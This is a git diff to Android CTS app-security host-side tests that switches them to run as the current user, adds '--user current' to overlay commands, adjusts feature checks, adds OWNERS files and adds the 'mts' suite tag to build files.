-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAReceivers");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureADefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureAReceivers");
     }
 
     @Test
@@ -116,30 +127,38 @@
     public void testInstallOneFeatureSplitAndConfigSplits_full() throws Exception {
         testInstallOneFeatureSplitAndConfigSplits(false);
     }
+
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testInstallOneFeatureSplitAndConfigSplits_instant() throws Exception {
         testInstallOneFeatureSplitAndConfigSplits(true);
     }
+
     private void testInstallOneFeatureSplitAndConfigSplits(boolean instant) throws Exception {
         new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_BASE_pl)
                 .addApk(APK_FEATURE_A_pl).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureAPolishLocale");
     }
 
     @Test
-    @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest receivers")
+    @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest "
+            + "receivers")
     public void testInstallDependentFeatureSplits_full() throws Exception {
         testInstallDependentFeatureSplits(false);
     }
+
     private void testInstallDependentFeatureSplits(boolean instant) throws Exception {
         new InstallMultiple(instant)
                 .addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBReceivers");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureADefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureBDefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureAAndBReceivers");
     }
 
     @Test
@@ -147,32 +166,43 @@
     public void testInstallDependentFeatureSplitsAndConfigSplits_full() throws Exception {
         testInstallDependentFeatureSplitsAndConfigSplits(false);
     }
+
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testInstallDependentFeatureSplitsAndConfigSplits_instant() throws Exception {
         testInstallDependentFeatureSplitsAndConfigSplits(true);
     }
-    private void testInstallDependentFeatureSplitsAndConfigSplits(boolean instant) throws Exception {
+
+    private void testInstallDependentFeatureSplitsAndConfigSplits(boolean instant)
+            throws Exception {
         new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
                 .addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl).addApk(APK_FEATURE_B_pl).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBPolishLocale");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureAPolishLocale");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureBPolishLocale");
     }
 
     @Test
-    @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest receivers")
+    @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest "
+            + "receivers")
     public void testInstallAllFeatureSplits_full() throws Exception {
         testInstallAllFeatureSplits(false);
     }
+
     private void testInstallAllFeatureSplits(boolean instant) throws Exception {
         new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
                 .addApk(APK_FEATURE_C).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBAndCReceivers");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureADefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureBDefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureCDefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureAAndBAndCReceivers");
     }
 
     @Test
@@ -180,18 +210,23 @@
     public void testInstallAllFeatureSplitsAndConfigSplits_full() throws Exception {
         testInstallAllFeatureSplitsAndConfigSplits(false);
     }
+
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testInstallAllFeatureSplitsAndConfigSplits_instant() throws Exception {
         testInstallAllFeatureSplitsAndConfigSplits(true);
     }
+
     private void testInstallAllFeatureSplitsAndConfigSplits(boolean instant) throws Exception {
         new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
                 .addApk(APK_FEATURE_C).addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl)
                 .addApk(APK_FEATURE_C_pl).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureADefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureBDefault");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureCDefault");
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
index 20978c6..a1ec91e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
@@ -79,7 +79,10 @@
 
     private String getStateForOverlay(String overlayPackage) throws Exception {
         String result = getDevice().executeShellCommand("cmd overlay dump");
-        int startIndex = result.indexOf(overlayPackage + ":");
+
+        String overlayPackageForCurrentUser = overlayPackage + ":" + getDevice().getCurrentUser();
+
+        int startIndex = result.indexOf(overlayPackageForCurrentUser);
         if (startIndex < 0) {
             return null;
         }
@@ -122,7 +125,7 @@
             new InstallMultiple().addApk(overlayApk).run();
 
             waitForOverlayState(overlayPackage, STATE_NO_IDMAP);
-            getDevice().executeShellCommand("cmd overlay enable " + overlayPackage);
+            getDevice().executeShellCommand("cmd overlay enable  --user current " + overlayPackage);
             waitForOverlayState(overlayPackage, STATE_NO_IDMAP);
         } finally {
             getDevice().uninstallPackage(TARGET_PACKAGE);
@@ -143,7 +146,7 @@
             new InstallMultiple().addApk(targetApk).run();
 
             waitForOverlayState(overlayPackage, STATE_DISABLED);
-            getDevice().executeShellCommand("cmd overlay enable " + overlayPackage);
+            getDevice().executeShellCommand("cmd overlay enable --user current " + overlayPackage);
             waitForOverlayState(overlayPackage, STATE_ENABLED);
 
             runDeviceTests(TEST_APP_PACKAGE, TEST_APP_CLASS, testMethod);
@@ -170,7 +173,7 @@
             assertFalse(getDevice().getInstalledPackageNames().contains(OVERLAY_ANDROID_PACKAGE));
 
             // The package of the installed overlay should not appear in the overlay manager list.
-            assertFalse(getDevice().executeShellCommand("cmd overlay list")
+            assertFalse(getDevice().executeShellCommand("cmd overlay list --user current ")
                     .contains(" " + OVERLAY_ANDROID_PACKAGE + "\n"));
         } finally {
             getDevice().uninstallPackage(OVERLAY_ANDROID_PACKAGE);
@@ -222,7 +225,7 @@
             assertFalse(getDevice().getInstalledPackageNames().contains(OVERLAY_ALL_PACKAGE));
 
             // The package of the installed overlay should not appear in the overlay manager list.
-            assertFalse(getDevice().executeShellCommand("cmd overlay list")
+            assertFalse(getDevice().executeShellCommand("cmd overlay list --user current")
                     .contains(" " + OVERLAY_ALL_PACKAGE + "\n"));
         } finally {
             getDevice().uninstallPackage(OVERLAY_ALL_PACKAGE);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index 3149383..946b74d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -416,7 +416,7 @@
     }
 
     public void testPermissionSplit28() throws Exception {
-        if (getDevice().hasFeature("android.software.leanback")) {
+        if (getDevice().hasFeature("feature:android.software.leanback")) {
             return;
         }
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_28), false, false));
@@ -425,7 +425,7 @@
     }
 
     public void testPermissionNotSplit29() throws Exception {
-        if (getDevice().hasFeature("android.software.leanback")) {
+        if (getDevice().hasFeature("feature:android.software.leanback")) {
             return;
         }
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), false, false));
@@ -440,7 +440,7 @@
     }
 
     public void testRequestBoth() throws Exception {
-        if (getDevice().hasFeature("android.software.leanback")) {
+        if (getDevice().hasFeature("feature:android.software.leanback")) {
             return;
         }
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), false, false));
@@ -449,7 +449,7 @@
     }
 
     public void testRequestBothInSequence() throws Exception {
-        if (getDevice().hasFeature("android.software.leanback")) {
+        if (getDevice().hasFeature("feature:android.software.leanback")) {
             return;
         }
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), false, false));
@@ -458,7 +458,7 @@
     }
 
     public void testRequestBothButGrantInSequence() throws Exception {
-        if (getDevice().hasFeature("android.software.leanback")) {
+        if (getDevice().hasFeature("feature:android.software.leanback")) {
             return;
         }
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), false, false));
@@ -467,7 +467,7 @@
     }
 
     public void testDenyBackgroundWithPrejudice() throws Exception {
-        if (getDevice().hasFeature("android.software.leanback")) {
+        if (getDevice().hasFeature("feature:android.software.leanback")) {
             return;
         }
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), false, false));
@@ -476,7 +476,7 @@
     }
 
     public void testPermissionNotSplitLatest() throws Exception {
-        if (getDevice().hasFeature("android.software.leanback")) {
+        if (getDevice().hasFeature("feature:android.software.leanback")) {
             return;
         }
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_Latest), false, false));
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index a3b11ee..d7c4b31 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -194,7 +194,7 @@
 
         try {
             // Try our hardest to fill up the entire disk
-            Utils.runDeviceTests(getDevice(), PKG_B, CLASS, "testFullDisk");
+            Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG_B, CLASS, "testFullDisk");
         } catch (Throwable t) {
             if (t.getMessage().contains("Skipping")) {
                 // If the device doens't have resgid support, there's nothing
@@ -206,14 +206,14 @@
         }
 
         // Tweak something that causes PackageManager to persist data
-        Utils.runDeviceTests(getDevice(), PKG_A, CLASS, "testTweakComponent");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG_A, CLASS, "testTweakComponent");
 
         // Wake up/unlock device before running tests
         getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
         getDevice().disableKeyguard();
 
         // Verify that Settings can free space used by abusive app
-        Utils.runDeviceTests(getDevice(), PKG_A, CLASS, "testClearSpace");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG_A, CLASS, "testClearSpace");
     }
 
     public void waitForIdle() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index af46b08..30ed7bf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -148,9 +148,9 @@
         int currentUserId = device.getCurrentUser();
         for (int i = 1; i < userIds.length; i++) {
             if (i < maxUsers) {
-                device.startUser(userIds[i]);
+                device.startUser(userIds[i], true);
             } else if (userIds[i] != currentUserId) {
-                device.stopUser(userIds[i]);
+                device.stopUser(userIds[i], true, true);
             }
         }
         if (userIds.length > maxUsers) {
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/OWNERS b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/OWNERS
new file mode 100644
index 0000000..98dd33e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+cbrubaker@google.com
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/OWNERS b/hostsidetests/appsecurity/test-apps/AccessSerialModern/OWNERS
new file mode 100644
index 0000000..98dd33e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+cbrubaker@google.com
diff --git a/hostsidetests/appsecurity/test-apps/Android.bp b/hostsidetests/appsecurity/test-apps/Android.bp
index 64bfa62..6d60626 100644
--- a/hostsidetests/appsecurity/test-apps/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/Android.bp
@@ -37,6 +37,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
@@ -68,6 +69,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
@@ -98,6 +100,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
@@ -130,6 +133,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
 }
@@ -155,6 +159,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     min_sdk_version: "22",
@@ -186,6 +191,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
 }
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/OWNERS b/hostsidetests/appsecurity/test-apps/CorruptApkTests/OWNERS
new file mode 100644
index 0000000..21cd9d9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 568761
+rtmitchell@google.com
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
index 42242c6..d7b8c37 100644
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
@@ -22,6 +22,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     dex_preopt: {
         enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index 9e90c0d..d9da67a 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -34,6 +34,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
index 21462ff..09a4d81 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
@@ -154,7 +154,8 @@
     protected boolean supportedHardware() {
         final PackageManager pm = getInstrumentation().getContext().getPackageManager();
         if (pm.hasSystemFeature("android.hardware.type.television")
-                || pm.hasSystemFeature("android.hardware.type.watch")) {
+                || pm.hasSystemFeature("android.hardware.type.watch")
+                || pm.hasSystemFeature("android.hardware.type.automotive")) {
             return false;
         }
         return true;
@@ -162,7 +163,8 @@
 
     protected boolean supportedHardwareForScopedDirectoryAccess() {
         final PackageManager pm = getInstrumentation().getContext().getPackageManager();
-        if (pm.hasSystemFeature("android.hardware.type.watch")
+        if (pm.hasSystemFeature("android.hardware.type.television")
+                || pm.hasSystemFeature("android.hardware.type.watch")
                 || pm.hasSystemFeature("android.hardware.type.automotive")) {
             return false;
         }
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index 5c499d4..9b57550 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -30,6 +30,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS b/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
new file mode 100644
index 0000000..aacd866
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 49763
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/OWNERS b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
index 12bc836..b012ac0 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     optimize: {
         enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/OWNERS b/hostsidetests/appsecurity/test-apps/InstantCookieApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/OWNERS b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/OWNERS b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/OWNERS
new file mode 100644
index 0000000..40cc594
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+cbrubaker@google.com
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/OWNERS b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/OWNERS
new file mode 100644
index 0000000..40cc594
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+cbrubaker@google.com
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/OWNERS b/hostsidetests/appsecurity/test-apps/MajorVersionApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/OWNERS b/hostsidetests/appsecurity/test-apps/NoRestartApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/OWNERS b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/OWNERS b/hostsidetests/appsecurity/test-apps/PackageAccessApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
index c01f8b8..af55a55 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
@@ -29,6 +29,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     optimize: {
         enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/OWNERS b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/OWNERS b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp
index 0a00438..5488ecb 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 }
